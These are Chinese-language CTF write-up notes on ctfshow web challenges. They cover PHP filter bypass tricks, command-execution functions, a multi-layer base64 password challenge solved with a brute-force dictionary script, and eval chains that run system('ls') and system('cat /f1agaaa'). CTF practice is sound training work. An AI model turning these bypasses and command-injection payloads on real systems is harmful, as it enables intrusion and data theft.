萌新杯
intval与preg_match绕过方法:
进制绕过二进制或者八进制或者十六进制等等
双重取反~~
绕过
有时候需要编码需要绕过的字符
$a=~("system"); echo urlencode($a);
换行\n
绕过
编码绕过
SQL查询中,如果我们将Base64编码的字符串直接拼接到SQL语句中,并且使用单引号包围,那么如果Base64编码的字符串中包含单引号,就会破坏SQL语句的结构,导致SQL注入或者语法错误。
常见的命令执行函数
system() passthru() exec() shell_exec() popen() proc_open() pcntl_exec()
过滤;
使用?>
绕过
使用if绕过
WEB应用与安全防护
Base64编码隐藏
查看网页源码,找到登录脚本,发现有个base64编码的正确密码,结合下方的登陆成功逻辑,确定解码后的密码就是flag。
解码
Base64多层嵌套解码
查看源码,与编码隐藏相同,注意到这里有五层编码,解码即可
const correctPassword = "SXpVRlF4TTFVelJtdFNSazB3VTJ4U1UwNXFSWGRVVlZrOWNWYzU="; function validatePassword(input) {let encoded = btoa(input);encoded = btoa(encoded + 'xH7jK').slice(3);encoded = btoa(encoded.split('').reverse().join(''));encoded = btoa('aB3' + encoded + 'qW9').substr(2);return btoa(encoded) === correctPassword;}
先解码一次
IzUFQxM1UzRmtSRk0wU2xSU05qRXdUVVk9cVc5
得到的就是第四步encoded = btoa('aB3' + encoded + 'qW9').substr(2);
处理之后的编码
第四步将ab3+encoded+qw9 进行编码,然后在第三个字符串开始截取
我们先解码一次就能得到IzUFQxM1UzRmtSRk0wU2xSU05qRXdUVVk9cVc5
同时注意到ab3
编码YUIz
,qw9
编码cVc5
去除添加的字符串,处理之后应该是UFQxM1UzRmtSRk0wU2xSU05qRXdUVVk9
,这就是第三步处理之后的编码
然后解码一次得到PT13U3FkRFM0SlRSNjEwTUY=
encoded.split('').reverse().join('')
这个方法是反转编码
用脚本先解码一次,再反转编码
import base64def recover_original(encoded_b64):# 1️⃣ 先 Base64 解码decoded = base64.b64decode(encoded_b64).decode('utf-8')# 2️⃣ 再反转字符串original = decoded[::-1]return originalif __name__ == "__main__":encoded_after = "==wSqdDS4JTR610MF"original_string = recover_original(encoded_after)print("原字符串是:", original_string)
得到第二步处理后的代码FM016RTJ4SDdqSw==
这一步去除了前面三个字符,需要补充上三个字符进行解码,然后去除xH7jK然后得到了第一步处理后的编码,将第一步处理后的编码再次解码就是密码
这里需要利用python进行穷举出所有的结果
import base64
import itertools
import string# 待处理字符串
after_slice = "FM016RTJ4SDdqSw=="# Base64 字符集
B64_CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"# 输出文件
OUT_FILE = "candidates.txt"def safe_b64decode(b64_str: str):"""安全 Base64 解码,失败返回 None"""try:# 补齐 = 保证长度是 4 的倍数pad = (-len(b64_str)) % 4if pad:b64_str += "=" * padreturn base64.b64decode(b64_str)except Exception:return Nonedef is_valid_utf8(b: bytes):try:b.decode("utf-8")return Trueexcept UnicodeDecodeError:return Falsedef main():total = 0found = 0with open(OUT_FILE, "w", encoding="utf-8") as fout:for prefix_tuple in itertools.product(B64_CHARS, repeat=3):prefix3 = ''.join(prefix_tuple)total += 1full_b64 = prefix3 + after_slice# 第一次解码decoded = safe_b64decode(full_b64)if decoded is None:continue# 去掉尾部 xH7jKif len(decoded) < 5:continuefirst_layer = decoded[:-5]# 第二次解码(去掉尾部 xH7jK 后的 bytes 直接当作 Base64)second_layer_str = first_layer.decode("latin1") # 按 latin1 避免 decode 错误second_layer_decoded = safe_b64decode(second_layer_str)if second_layer_decoded is None:continue# 检查 UTF-8 合法性if not is_valid_utf8(second_layer_decoded):continuefinal_text = second_layer_decoded.decode("utf-8")fout.write(final_text + "\n")found += 1if total % 50000 == 0:print(f"[progress] tried {total} prefixes, found {found} candidates")print(f"Done. tried {total} prefixes, found {found} candidates. Results in '{OUT_FILE}'")if __name__ == "__main__":main()
得到一个密码字典,利用python进行爆破,找到登录请求,然后抓包。
post请求,路径是check.php
设置payload,导入字典,然后传入主体参数。
这里遇到问题了,需要更改请求头
发现返回长度是2532的都能获取到flag,可能是密码中只要包含7316都能正常登录
用hacker验证一下
菜狗杯
web签到
CTF-show菜狗杯web签到
访问页面
eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);
利用eval进行执行命令
首先传入cookieCTFshow-QQ群=a
Cookie: CTFshow-QQ%E7%BE%A4:=a
中文用url编码
然后eval变为
eval($_REQUEST[$_GET[$_POST['a']]][6][0][7][5][8][0][9][4][4]);
post传入参数 a=b;
然后eval变为
eval($_REQUEST[$_GET['b']][6][0][7][5][8][0][9][4][4]);
get传入参数 b=c
然后eval变为
eval($_REQUEST['c'][6][0][7][5][8][0][9][4][4]);
对于request请求,可以使用任意方式进行传参,写进主体中,传参为
c[6][0][7][5][8][0][9][4][4]=system('ls')
利用命令查看根目录
发现flagaaa
,构造payloada=b&c[6][0][7][5][8][0][9][4][4]=system('cat /f1agaaa');
web2 c0me_t0_s1gn
需要用上帝的眼睛看~,查看源码
给了flag前半部分的形式,剩下的需要用控制台,打开控制台
运行脚本
我的眼里只有$
extract() 方法可用于将数组展开,键名作为变量名,元素值为变量值
``${...}(或多个
$)表示“多层变量变量(variable variables)解引用”。如果从
$ 出发到目标变量需要经过 **N** 次“指向”关系(
$ -> a -> b -> ... -> target),那么需要 **N 层
$**(即
${${...${$}...}},或写成 N 个
$紧跟
$)来把最终的变量值取出来,
eval(...) 就会把那个最终取到的字符串当作 PHP 代码执行。
因为这里有36个$,最后一个变量执行命令,让_=a;a=b一直重复下去35次,最后一个写入执行的命令